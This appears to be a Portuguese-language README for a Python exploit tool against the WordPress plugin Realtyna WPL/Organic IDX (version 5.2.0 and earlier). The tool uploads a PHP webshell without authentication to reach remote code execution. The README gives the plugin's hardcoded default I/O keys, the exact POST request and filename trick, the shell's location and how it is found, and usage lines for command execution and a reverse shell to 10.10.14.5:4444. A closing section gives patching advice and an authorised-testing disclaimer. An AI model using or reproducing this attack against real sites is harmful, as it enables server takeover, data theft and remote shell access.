
Exploit de upload arbitrário de arquivos sem autenticação para o plugin WordPress Realtyna WPL/Organic IDX, encadeia upload de webshell PHP para RCE, com modos de execução de comandos e reverse shell.
Upload arbitrário de arquivo não autenticado que leva a RCE no plugin Realtyna WPL / Organic IDX
do WordPress (real-estate-listing-realtyna-wpl ≤ 5.2.0).
O plugin registra um "serviço de E/S" no hook público init do WordPress, acessível
sem autenticação na raiz do site via ?wplview=io&wplformat=io. A única barreira é um par de
chaves padrão estáticas e embutidas no código fornecidas nas migrações do plugin (idênticas em
todas as instalações), com io_status habilitado por padrão:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
O comando set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload)
salva o file[] enviado com move_uploaded_file e sem verificação de extensão/MIME, portanto um
webshell .php pode ser gravado e executado como o usuário do servidor web.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Apenas biblioteca padrão do Python 3 — sem dependências.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
com um file[] multipart nomeado image_<name>.php. O prefixo image_ é removido, então o arquivo
é salvo como <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, onde <pid> é
o id da propriedade criada pela requisição (a resposta não o exibe). A ferramenta
enumera ids de propriedades pequenos para encontrar o shell.…/<name>.php?c=<cmd>.Um site WordPress com o plugin real-estate-listing-realtyna-wpl ≤ 5.2.0 ativo. O endpoint
responde em GET /?wplview=io&wplformat=io (o serviço de E/S do plugin).
Atualize o plugin para ≥ 5.3.0, valide extensões/MIME dos uploads, nunca execute PHP a partir de
wp-content/uploads e rotacione as chaves estáticas padrão de E/S do plugin.
Apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra sistemas que você possui ou para os quais tem permissão explícita para testar.